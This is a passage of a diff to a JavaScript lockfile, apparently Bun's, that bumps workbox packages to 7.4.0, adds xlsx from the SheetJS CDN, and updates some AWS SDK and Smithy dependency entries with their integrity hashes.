"terser-webpack-plugin": "^5.3.10", "watchpack": "^2.4.1", "webpack-sources": "^3.2.3" }, "bin": "bin/webpack.js" }, "sha512-KcsGn50VT+06JH/iunZJedYGUJS5FGjow8wb9c0v5n1Om8O1g4L6LjtfxwlXIATopoQu+vOXXa7gYisWxCoPyg=="], - - "webpack-sources": ["webpack-sources@3.2.3", "", {}, "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w=="], - "websocket-driver": ["websocket-driver@0.7.4", "", { "dependencies": { "http-parser-js": ">=0.5.1", "safe-buffer": ">=5.1.0", "websocket-extensions": ">=0.1.1" } }, "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg=="], "websocket-extensions": ["websocket-extensions@0.1.4", "", {}, "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg=="], @@ -4595,37 +4887,37 @@ "wordwrap": ["wordwrap@1.0.0", "", {}, "sha512-gvVzJFlPycKc5dZN4yPkP8w7Dc37BtP1yczEneOb4uq34pXZcvrtRTmWV8W+Ume+XCxKgbjM+nevkyFPMybd4Q=="], - "workbox-background-sync": ["workbox-background-sync@7.3.0", "", { "dependencies": { "idb": "^7.0.1", "workbox-core": "7.3.0" } }, "sha512-PCSk3eK7Mxeuyatb22pcSx9dlgWNv3+M8PqPaYDokks8Y5/FX4soaOqj3yhAZr5k6Q5JWTOMYgaJBpbw11G9Eg=="], + "workbox-background-sync": ["workbox-background-sync@7.4.0", "", { "dependencies": { "idb": "^7.0.1", "workbox-core": "7.4.0" } }, "sha512-8CB9OxKAgKZKyNMwfGZ1XESx89GryWTfI+V5yEj8sHjFH8MFelUwYXEyldEK6M6oKMmn807GoJFUEA1sC4XS9w=="], - "workbox-broadcast-update": ["workbox-broadcast-update@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-T9/F5VEdJVhwmrIAE+E/kq5at2OY6+OXXgOWQevnubal6sO92Gjo24v6dCVwQiclAF5NS3hlmsifRrpQzZCdUA=="], + "workbox-broadcast-update": ["workbox-broadcast-update@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-+eZQwoktlvo62cI0b+QBr40v5XjighxPq3Fzo9AWMiAosmpG5gxRHgTbGGhaJv/q/MFVxwFNGh/UwHZ/8K88lA=="], - "workbox-build": ["workbox-build@7.3.0", "", { "dependencies": { "@apideck/better-ajv-errors": "^0.3.1", "@babel/core": "^7.24.4", "@babel/preset-env": "^7.11.0", "@babel/runtime": "^7.11.2", "@rollup/plugin-babel": "^5.2.0", "@rollup/plugin-node-resolve": "^15.2.3", "@rollup/plugin-replace": "^2.4.1", "@rollup/plugin-terser": "^0.4.3", "@surma/rollup-plugin-off-main-thread": "^2.2.3", "ajv": "^8.6.0", "common-tags": "^1.8.0", "fast-json-stable-stringify": "^2.1.0", "fs-extra": "^9.0.1", "glob": "^7.1.6", "lodash": "^4.17.20", "pretty-bytes": "^5.3.0", "rollup": "^2.43.1", "source-map": "^0.8.0-beta.0", "stringify-object": "^3.3.0", "strip-comments": "^2.0.1", "tempy": "^0.6.0", "upath": "^1.2.0", "workbox-background-sync": "7.3.0", "workbox-broadcast-update": "7.3.0", "workbox-cacheable-response": "7.3.0", "workbox-core": "7.3.0", "workbox-expiration": "7.3.0", "workbox-google-analytics": "7.3.0", "workbox-navigation-preload": "7.3.0", "workbox-precaching": "7.3.0", "workbox-range-requests": "7.3.0", "workbox-recipes": "7.3.0", "workbox-routing": "7.3.0", "workbox-strategies": "7.3.0", "workbox-streams": "7.3.0", "workbox-sw": "7.3.0", "workbox-window": "7.3.0" } }, "sha512-JGL6vZTPlxnlqZRhR/K/msqg3wKP+m0wfEUVosK7gsYzSgeIxvZLi1ViJJzVL7CEeI8r7rGFV973RiEqkP3lWQ=="], + "workbox-build": ["workbox-build@7.4.0", "", { "dependencies": { "@apideck/better-ajv-errors": "^0.3.1", "@babel/core": "^7.24.4", "@babel/preset-env": "^7.11.0", "@babel/runtime": "^7.11.2", "@rollup/plugin-babel": "^5.2.0", "@rollup/plugin-node-resolve": "^15.2.3", "@rollup/plugin-replace": "^2.4.1", "@rollup/plugin-terser": "^0.4.3", "@surma/rollup-plugin-off-main-thread": "^2.2.3", "ajv": "^8.6.0", "common-tags": "^1.8.0", "fast-json-stable-stringify": "^2.1.0", "fs-extra": "^9.0.1", "glob": "^11.0.1", "lodash": "^4.17.20", "pretty-bytes": "^5.3.0", "rollup": "^2.79.2", "source-map": "^0.8.0-beta.0", "stringify-object": "^3.3.0", "strip-comments": "^2.0.1", "tempy": "^0.6.0", "upath": "^1.2.0", "workbox-background-sync": "7.4.0", "workbox-broadcast-update": "7.4.0", "workbox-cacheable-response": "7.4.0", "workbox-core": "7.4.0", "workbox-expiration": "7.4.0", "workbox-google-analytics": "7.4.0", "workbox-navigation-preload": "7.4.0", "workbox-precaching": "7.4.0", "workbox-range-requests": "7.4.0", "workbox-recipes": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0", "workbox-streams": "7.4.0", "workbox-sw": "7.4.0", "workbox-window": "7.4.0" } }, "sha512-Ntk1pWb0caOFIvwz/hfgrov/OJ45wPEhI5PbTywQcYjyZiVhT3UrwwUPl6TRYbTm4moaFYithYnl1lvZ8UjxcA=="], - "workbox-cacheable-response": ["workbox-cacheable-response@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-eAFERIg6J2LuyELhLlmeRcJFa5e16Mj8kL2yCDbhWE+HUun9skRQrGIFVUagqWj4DMaaPSMWfAolM7XZZxNmxA=="], + "workbox-cacheable-response": ["workbox-cacheable-response@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-0Fb8795zg/x23ISFkAc7lbWes6vbw34DGFIMw31cwuHPgDEC/5EYm6m/ZkylLX0EnEbbOyOCLjKgFS/Z5g0HeQ=="], - "workbox-core": ["workbox-core@7.3.0", "", {}, "sha512-Z+mYrErfh4t3zi7NVTvOuACB0A/jA3bgxUN3PwtAVHvfEsZxV9Iju580VEETug3zYJRc0Dmii/aixI/Uxj8fmw=="], + "workbox-core": ["workbox-core@7.4.0", "", {}, "sha512-6BMfd8tYEnN4baG4emG9U0hdXM4gGuDU3ectXuVHnj71vwxTFI7WOpQJC4siTOlVtGqCUtj0ZQNsrvi6kZZTAQ=="], - "workbox-expiration": ["workbox-expiration@7.3.0", "", { "dependencies": { "idb": "^7.0.1", "workbox-core": "7.3.0" } }, "sha512-lpnSSLp2BM+K6bgFCWc5bS1LR5pAwDWbcKt1iL87/eTSJRdLdAwGQznZE+1czLgn/X05YChsrEegTNxjM067vQ=="], + "workbox-expiration": ["workbox-expiration@7.4.0", "", { "dependencies": { "idb": "^7.0.1", "workbox-core": "7.4.0" } }, "sha512-V50p4BxYhtA80eOvulu8xVfPBgZbkxJ1Jr8UUn0rvqjGhLDqKNtfrDfjJKnLz2U8fO2xGQJTx/SKXNTzHOjnHw=="], - "workbox-google-analytics": ["workbox-google-analytics@7.3.0", "", { "dependencies": { "workbox-background-sync": "7.3.0", "workbox-core": "7.3.0", "workbox-routing": "7.3.0", "workbox-strategies": "7.3.0" } }, "sha512-ii/tSfFdhjLHZ2BrYgFNTrb/yk04pw2hasgbM70jpZfLk0vdJAXgaiMAWsoE+wfJDNWoZmBYY0hMVI0v5wWDbg=="], + "workbox-google-analytics": ["workbox-google-analytics@7.4.0", "", { "dependencies": { "workbox-background-sync": "7.4.0", "workbox-core": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0" } }, "sha512-MVPXQslRF6YHkzGoFw1A4GIB8GrKym/A5+jYDUSL+AeJw4ytQGrozYdiZqUW1TPQHW8isBCBtyFJergUXyNoWQ=="], - "workbox-navigation-preload": ["workbox-navigation-preload@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-fTJzogmFaTv4bShZ6aA7Bfj4Cewaq5rp30qcxl2iYM45YD79rKIhvzNHiFj1P+u5ZZldroqhASXwwoyusnr2cg=="], + "workbox-navigation-preload": ["workbox-navigation-preload@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-etzftSgdQfjMcfPgbfaZCfM2QuR1P+4o8uCA2s4rf3chtKTq/Om7g/qvEOcZkG6v7JZOSOxVYQiOu6PbAZgU6w=="], - "workbox-precaching": ["workbox-precaching@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0", "workbox-routing": "7.3.0", "workbox-strategies": "7.3.0" } }, "sha512-ckp/3t0msgXclVAYaNndAGeAoWQUv7Rwc4fdhWL69CCAb2UHo3Cef0KIUctqfQj1p8h6aGyz3w8Cy3Ihq9OmIw=="], + "workbox-precaching": ["workbox-precaching@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0" } }, "sha512-VQs37T6jDqf1rTxUJZXRl3yjZMf5JX/vDPhmx2CPgDDKXATzEoqyRqhYnRoxl6Kr0rqaQlp32i9rtG5zTzIlNg=="], - "workbox-range-requests": ["workbox-range-requests@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-EyFmM1KpDzzAouNF3+EWa15yDEenwxoeXu9bgxOEYnFfCxns7eAxA9WSSaVd8kujFFt3eIbShNqa4hLQNFvmVQ=="], + "workbox-range-requests": ["workbox-range-requests@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-3Vq854ZNuP6Y0KZOQWLaLC9FfM7ZaE+iuQl4VhADXybwzr4z/sMmnLgTeUZLq5PaDlcJBxYXQ3U91V7dwAIfvw=="], - "workbox-recipes": ["workbox-recipes@7.3.0", "", { "dependencies": { "workbox-cacheable-response": "7.3.0", "workbox-core": "7.3.0", "workbox-expiration": "7.3.0", "workbox-precaching": "7.3.0", "workbox-routing": "7.3.0", "workbox-strategies": "7.3.0" } }, "sha512-BJro/MpuW35I/zjZQBcoxsctgeB+kyb2JAP5EB3EYzePg8wDGoQuUdyYQS+CheTb+GhqJeWmVs3QxLI8EBP1sg=="], + "workbox-recipes": ["workbox-recipes@7.4.0", "", { "dependencies": { "workbox-cacheable-response": "7.4.0", "workbox-core": "7.4.0", "workbox-expiration": "7.4.0", "workbox-precaching": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0" } }, "sha512-kOkWvsAn4H8GvAkwfJTbwINdv4voFoiE9hbezgB1sb/0NLyTG4rE7l6LvS8lLk5QIRIto+DjXLuAuG3Vmt3cxQ=="], - "workbox-routing": ["workbox-routing@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-ZUlysUVn5ZUzMOmQN3bqu+gK98vNfgX/gSTZ127izJg/pMMy4LryAthnYtjuqcjkN4HEAx1mdgxNiKJMZQM76A=="], + "workbox-routing": ["workbox-routing@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-C/ooj5uBWYAhAqwmU8HYQJdOjjDKBp9MzTQ+otpMmd+q0eF59K+NuXUek34wbL0RFrIXe/KKT+tUWcZcBqxbHQ=="], - "workbox-strategies": ["workbox-strategies@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0" } }, "sha512-tmZydug+qzDFATwX7QiEL5Hdf7FrkhjaF9db1CbB39sDmEZJg3l9ayDvPxy8Y18C3Y66Nrr9kkN1f/RlkDgllg=="], + "workbox-strategies": ["workbox-strategies@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0" } }, "sha512-T4hVqIi5A4mHi92+5EppMX3cLaVywDp8nsyUgJhOZxcfSV/eQofcOA6/EMo5rnTNmNTpw0rUgjAI6LaVullPpg=="], - "workbox-streams": ["workbox-streams@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0", "workbox-routing": "7.3.0" } }, "sha512-SZnXucyg8x2Y61VGtDjKPO5EgPUG5NDn/v86WYHX+9ZqvAsGOytP0Jxp1bl663YUuMoXSAtsGLL+byHzEuMRpw=="], + "workbox-streams": ["workbox-streams@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0", "workbox-routing": "7.4.0" } }, "sha512-QHPBQrey7hQbnTs5GrEVoWz7RhHJXnPT+12qqWM378orDMo5VMJLCkCM1cnCk+8Eq92lccx/VgRZ7WAzZWbSLg=="], - "workbox-sw": ["workbox-sw@7.3.0", "", {}, "sha512-aCUyoAZU9IZtH05mn0ACUpyHzPs0lMeJimAYkQkBsOWiqaJLgusfDCR+yllkPkFRxWpZKF8vSvgHYeG7LwhlmA=="], + "workbox-sw": ["workbox-sw@7.4.0", "", {}, "sha512-ltU+Kr3qWR6BtbdlMnCjobZKzeV1hN+S6UvDywBrwM19TTyqA03X66dzw1tEIdJvQ4lYKkBFox6IAEhoSEZ8Xw=="], - "workbox-window": ["workbox-window@7.3.0", "", { "dependencies": { "@types/trusted-types": "^2.0.2", "workbox-core": "7.3.0" } }, "sha512-qW8PDy16OV1UBaUNGlTVcepzrlzyzNW/ZJvFQQs2j2TzGsg6IKjcpZC1RSquqQnTOafl5pCj5bGfAHlCjOOjdA=="], + "workbox-window": ["workbox-window@7.4.0", "", { "dependencies": { "@types/trusted-types": "^2.0.2", "workbox-core": "7.4.0" } }, "sha512-/bIYdBLAVsNR3v7gYGaV4pQW3M3kEPx5E8vDxGvxo6khTrGtSSCS7QiFKv9ogzBgZiy0OXLP9zO28U/1nF1mfw=="], "wrap-ansi": ["wrap-ansi@9.0.0", "", { "dependencies": { "ansi-styles": "^6.2.1", "string-width": "^7.0.0", "strip-ansi": "^7.1.0" } }, "sha512-G8ura3S+3Z2G+mkgNRq8dqaFZAuxfsxpBB8OCTGRTCtp+l/v9nbFNmCUP1BZMts3G1142MsZfn6eeUKrr4PD1Q=="], @@ -4637,6 +4929,8 @@ "ws": ["ws@8.18.0", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw=="], + "xlsx": ["xlsx@https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz", { "bin": { "xlsx": "./bin/xlsx.njs" } }], + "xml": ["xml@1.0.1", "", {}, "sha512-huCv9IH9Tcf95zuYCsQraZtWnJvBtLVE0QHMOs8bWyZAFZNDcYjsPq1nEx8jKA9y+Beo9v+7OBPRisQTjinQMw=="], "xml-crypto": ["xml-crypto@6.1.2", "", { "dependencies": { "@xmldom/is-dom-node": "^1.0.1", "@xmldom/xmldom": "^0.8.10", "xpath": "^0.0.33" } }, "sha512-leBOVQdVi8FvPJrMYoum7Ici9qyxfE4kVi+AkpUoYCSXaQF4IlBm1cneTK9oAxR61LpYxTx7lNcsnBIeRpGW2w=="], @@ -4647,7 +4941,7 @@ "xml2js": ["xml2js@0.6.2", "", { "dependencies": { "sax": ">=0.6.0", "xmlbuilder": "~11.0.0" } }, "sha512-T4rieHaC1EXcES0Kxxj4JWgaUQHDk+qwHcYOCFHfiwKz7tOVPLq7Hjq9dM1WCMhylqMEfP7hMcOIChvotiZegA=="], - "xmlbuilder": ["xmlbuilder@15.1.1", "", {}, "sha512-yMqGBqtXyeN1e3TGYvgNgDVZ3j84W4cwkOXQswghol6APgZWaff9lnbvN7MHYJOiXsvGPXtjTYJEiC9J2wv9Eg=="], + "xmlbuilder": ["xmlbuilder@10.1.1", "", {}, "sha512-OyzrcFLL/nb6fMGHbiRDuPup9ljBycsdCypwuyg5AAHvyWzGfChJpCXMG88AGTIMFhGZ9RccFN1e6lhg3hkwKg=="], "xmlchars": ["xmlchars@2.2.0", "", {}, "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw=="], @@ -4671,11 +4965,9 @@ "yocto-queue": ["yocto-queue@0.1.0", "", {}, "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q=="], - "youtube-transcript": ["youtube-transcript@1.2.1", "", {}, "sha512-TvEGkBaajKw+B6y91ziLuBLsa5cawgowou+Bk0ciGpjELDfAzSzTGXaZmeSSkUeknCPpEr/WGApOHDwV7V+Y9Q=="], - "zod": ["zod@3.25.67", "", {}, "sha512-idA2YXwpCdqUSKRCACDE6ItZD9TZzy3OZMtpfLoh6oPR47lipysRrJfjzMqFxQ3uJuUPyUeWe1r9vLH33xO/Qw=="], - "zod-to-json-schema": ["zod-to-json-schema@3.24.3", "", { "peerDependencies": { "zod": "^3.24.1" } }, "sha512-HIAfWdYIt1sssHfYZFCXp4rU1w2r8hVVXYIlmoa0r0gABLs5di3RCqPU5DDROogVz1pAdYBaz7HK5n9pSUNs3A=="], + "zod-to-json-schema": ["zod-to-json-schema@3.25.1", "", { "peerDependencies": { "zod": "^3.25 || ^4" } }, "sha512-pM/SU9d3YAggzi6MtR4h7ruuQlqKtad8e9S0fmxcMi+ueAK5Korys/aWcV9LIIHTVbj01NdzxcnXSN+O74ZIVA=="], "zwitch": ["zwitch@2.0.4", "", {}, "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A=="], @@ -4735,6 +5027,12 @@ "@aws-sdk/client-bedrock-agent-runtime/@smithy/core": ["@smithy/core@3.17.2", "", { "dependencies": { "@smithy/middleware-serde": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-stream": "^4.5.5", "@smithy/util-utf8": "^4.2.0", "@smithy/uuid": "^1.1.0", "tslib": "^2.6.2" } }, "sha512-n3g4Nl1Te+qGPDbNFAYf+smkRVB+JhFsGy9uJXXZQEufoP4u0r+WLh6KvTDolCswaagysDc/afS1yvb2jnj1gQ=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-browser": ["@smithy/eventstream-serde-browser@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-d5T7ZS3J/r8P/PDjgmCcutmNxnSRvPH1U6iHeXjzI50sMr78GLmFcrczLw33Ap92oEKqa4CLrkAPeSSOqvGdUA=="], + + "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-config-resolver": ["@smithy/eventstream-serde-config-resolver@4.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-lxfDT0UuSc1HqltOGsTEAlZ6H29gpfDSdEPTapD5G63RbnYToZ+ezjzdonCCH90j5tRRCw3aLXVbiZaBW3VRVg=="], + + "@aws-sdk/client-bedrock-agent-runtime/@smithy/eventstream-serde-node": ["@smithy/eventstream-serde-node@4.2.4", "", { "dependencies": { "@smithy/eventstream-serde-universal": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-TPhiGByWnYyzcpU/K3pO5V7QgtXYpE0NaJPEZBCa1Y5jlw5SjqzMSbFiLb+ZkJhqoQc0ImGyVINqnq1ze0ZRcQ=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/fetch-http-handler": ["@smithy/fetch-http-handler@5.3.5", "", { "dependencies": { "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "tslib": "^2.6.2" } }, "sha512-mg83SM3FLI8Sa2ooTJbsh5MFfyMTyNRwxqpKHmE0ICRIa66Aodv80DMsTQI02xBLVJ0hckwqTRr5IGAbbWuFLQ=="], "@aws-sdk/client-bedrock-agent-runtime/@smithy/hash-node": ["@smithy/hash-node@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kKU0gVhx/ppVMntvUOZE7WRMFW86HuaxLwvqileBEjL7PoILI8/djoILw3gPQloGVE6O0oOzqafxeNi2KbnUJw=="], @@ -4755,8 +5053,12 @@ "@aws-sdk/client-bedrock-agent-runtime/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/types": ["@smithy/types@4.8.1", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-N0Zn0OT1zc+NA+UVfkYqQzviRh5ucWwO7mBV3TmHHprMnfcJNfhlPicDkBHi0ewbh+y3evR6cNAW0Raxvb01NA=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/url-parser": ["@smithy/url-parser@4.2.4", "", { "dependencies": { "@smithy/querystring-parser": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-w/N/Iw0/PTwJ36PDqU9PzAwVElo4qXxCC0eCTlUtIz/Z5V/2j/cViMHi0hPukSBHp4DVwvUlUhLgCzqSJ6plrg=="], "@aws-sdk/client-bedrock-agent-runtime/@smithy/util-base64": ["@smithy/util-base64@4.3.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-GkXZ59JfyxsIwNTWFnjmFEI8kZpRNIBfxKjv09+nkAWPt/4aGaEWMM04m4sxgNVWkbt2MdSvE3KF/PfX4nFedQ=="], @@ -4771,88 +5073,12 @@ "@aws-sdk/client-bedrock-agent-runtime/@smithy/util-endpoints": ["@smithy/util-endpoints@3.2.4", "", { "dependencies": { "@smithy/node-config-provider": "^4.3.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-f+nBDhgYRCmUEDKEQb6q0aCcOTXRDqH5wWaFHJxt4anB4pKHlgGoYP3xtioKXH64e37ANUkzWf6p4Mnv1M5/Vg=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/util-middleware": ["@smithy/util-middleware@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-fKGQAPAn8sgV0plRikRVo6g6aR0KyKvgzNrPuM74RZKy/wWVzx3BMk+ZWEueyN3L5v5EDg+P582mKU+sH5OAsg=="], + "@aws-sdk/client-bedrock-agent-runtime/@smithy/util-retry": ["@smithy/util-retry@4.2.4", "", { "dependencies": { "@smithy/service-error-classification": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-yQncJmj4dtv/isTXxRb4AamZHy4QFr4ew8GxS6XLWt7sCIxkPxPzINWd7WLISEFPsIan14zrKgvyAF+/yzfwoA=="], "@aws-sdk/client-bedrock-agent-runtime/@smithy/util-utf8": ["@smithy/util-utf8@4.2.0", "", { "dependencies": { "@smithy/util-buffer-from": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-zBPfuzoI8xyBtR2P6WQj63Rz8i3AmfAaJLuNG8dWsfvPe8lO4aCPYLn879mEgHndZH1zQ2oXmG8O1GGzzaoZiw=="], - "@aws-sdk/client-bedrock-runtime/@aws-sdk/core": ["@aws-sdk/core@3.947.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws-sdk/xml-builder": "3.930.0", "@smithy/core": "^3.18.7", "@smithy/node-config-provider": "^4.3.5", "@smithy/property-provider": "^4.2.5", "@smithy/protocol-http": "^5.3.5", "@smithy/signature-v4": "^5.3.5", "@smithy/smithy-client": "^4.9.10", "@smithy/types": "^4.9.0", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.5", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Khq4zHhuAkvCFuFbgcy3GrZTzfSX7ZIjIcW1zRDxXRLZKRtuhnZdonqTUfaWi5K42/4OmxkYNpsO7X7trQOeHw=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/credential-provider-node": ["@aws-sdk/credential-provider-node@3.952.0", "", { "dependencies": { "@aws-sdk/credential-provider-env": "3.947.0", "@aws-sdk/credential-provider-http": "3.947.0", "@aws-sdk/credential-provider-ini": "3.952.0", "@aws-sdk/credential-provider-process": "3.947.0", "@aws-sdk/credential-provider-sso": "3.952.0", "@aws-sdk/credential-provider-web-identity": "3.952.0", "@aws-sdk/types": "3.936.0", "@smithy/credential-provider-imds": "^4.2.5", "@smithy/property-provider": "^4.2.5", "@smithy/shared-ini-file-loader": "^4.4.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-pj7nidLrb3Dz9llcUPh6N0Yv1dBYTS9xJqi8u0kI8D5sn72HJMB+fIOhcDQVXXAw/dpVolOAH9FOAbog5JDAMg=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-host-header": ["@aws-sdk/middleware-host-header@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-tAaObaAnsP1XnLGndfkGWFuzrJYuk9W0b/nLvol66t8FZExIAf/WdkT2NNAWOYxljVs++oHnyHBCxIlaHrzSiw=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-logger": ["@aws-sdk/middleware-logger@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-aPSJ12d3a3Ea5nyEnLbijCaaYJT2QjQ9iW+zGh5QcZYXmOGWbKVyPSxmVOboZQG+c1M8t6d2O7tqrwzIq8L8qw=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-recursion-detection": ["@aws-sdk/middleware-recursion-detection@3.948.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@aws/lambda-invoke-store": "^0.2.2", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-Qa8Zj+EAqA0VlAVvxpRnpBpIWJI9KUwaioY1vkeNVwXPlNaz9y9zCKVM9iU9OZ5HXpoUg6TnhATAHXHAE8+QsQ=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-user-agent": ["@aws-sdk/middleware-user-agent@3.947.0", "", { "dependencies": { "@aws-sdk/core": "3.947.0", "@aws-sdk/types": "3.936.0", "@aws-sdk/util-endpoints": "3.936.0", "@smithy/core": "^3.18.7", "@smithy/protocol-http": "^5.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-7rpKV8YNgCP2R4F9RjWZFcD2R+SO/0R4VHIbY9iZJdH2MzzJ8ZG7h8dZ2m8QkQd1fjx4wrFJGGPJUTYXPV3baA=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/region-config-resolver": ["@aws-sdk/region-config-resolver@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/config-resolver": "^4.4.3", "@smithy/node-config-provider": "^4.3.5", "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-wOKhzzWsshXGduxO4pqSiNyL9oUtk4BEvjWm9aaq6Hmfdoydq6v6t0rAGHWPjFwy9z2haovGRi3C8IxdMB4muw=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/types": ["@aws-sdk/types@3.936.0", "", { "dependencies": { "@smithy/types": "^4.9.0", "tslib": "^2.6.2" } }, "sha512-uz0/VlMd2pP5MepdrHizd+T+OKfyK4r3OA9JI+L/lPKg0YFQosdJNCKisr6o70E3dh8iMpFYxF1UN/4uZsyARg=="], - - "@aws-sdk/client-bedrock-runtime/@aws-sdk/util-endpoints": ["@aws-sdk/util-endpoints@3.936.0", "", { "dependencies": { "@aws-sdk/types": "3.936.0", "@smithy/types": "^4.9.0", "@smithy/url-parser": "^4.2.5", "@smithy/util-endpoints": "^3.2.5", "tslib": "^2.6.2" } }, 